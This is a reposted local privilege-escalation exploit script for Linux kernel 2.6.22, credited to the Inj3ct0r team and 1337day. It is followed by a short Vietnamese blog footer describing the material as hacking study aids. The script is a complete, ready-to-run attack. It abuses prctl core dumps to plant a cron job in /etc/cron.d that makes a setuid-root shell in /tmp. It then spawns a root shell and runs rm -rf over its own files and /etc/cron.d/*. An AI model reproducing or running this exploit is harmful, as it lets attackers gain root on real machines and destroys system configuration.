- #!/bin/sh
- =======================================
- Linux Kernel 2.6.22 Local root Exploit
- =======================================
- 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
- 0 _ __ __ __ 1
- 1 /' \ __ /'__`\ /\ \__ /'__`\ 0
- 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
- 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
- 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
- 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
- 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
- 1 \ \____/ >> Exploit database separated by exploit 0
- 0 \/___/ type (local, remote, DoS, etc.) 1
- 1 1
- 0 [+] Site : 1337day.com 0
- 1 [+] Support e-mail : submit[at]1337day.com 1
- 0 0
- 1 ######################################### 1
- 0 I'm Angel Injection member from Inj3ct0r Team 1
- 1 ######################################### 0
- 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
- ########################################################################
- cat > /tmp/getsuid.c << __EOF__
- #include <stdio.h>
- #include <sys/time.h>
- #include <sys/resource.h>
- #include <unistd.h>
- #include <linux/prctl.h>
- #include <stdlib.h>
- #include <sys/types.h>
- #include <signal.h>
- char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * * root chown root.root /tmp/s ; chmod 4777 /tmp/s ; rm -f /etc/cron.d/core\n";
- int main() {
- int child;
- struct rlimit corelimit;
- corelimit.rlim_cur = RLIM_INFINITY;
- corelimit.rlim_max = RLIM_INFINITY;
- setrlimit(RLIMIT_CORE, &corelimit);
- if ( !( child = fork() )) {
- chdir("/etc/cron.d");
- prctl(PR_SET_DUMPABLE, 2);
- sleep(200);
- exit(1);
- }
- kill(child, SIGSEGV);
- sleep(120);
- }
- __EOF__
- cat > /tmp/s.c << __EOF__
- #include<stdio.h>
- main(void)
- {
- setgid(0);
- setuid(0);
- system("/bin/sh");
- system("rm -rf /tmp/s");
- system("rm -rf /etc/cron.d/*");
- return 0;
- }
- __EOF__
- echo "wait aprox 4 min to get sh"
- cd /tmp
- cc -o s s.c
- cc -o getsuid getsuid.c
- ./getsuid
- ./s
- rm -rf getsuid*
- rm -rf s.c
- rm -rf prctl.sh
- # 1337day.com [2011-10-06]
Vài lời cho các bạn !
Blog được xây dựng nhằm cung cấp, sưu tầm nguồn hướng dẫn cho các newbie học tập về hacking website, chứ không mang tính chất vẽ đường cho ai đó đi phá hoại(deface) nhằm gây tổn hại cho website hay sever nào đó. Mong you hãy coi đây như là cuốn ebook hay và bổ ích, cần là giở để xem. và hãy tận dụng nó đúng mục đích ! thanks !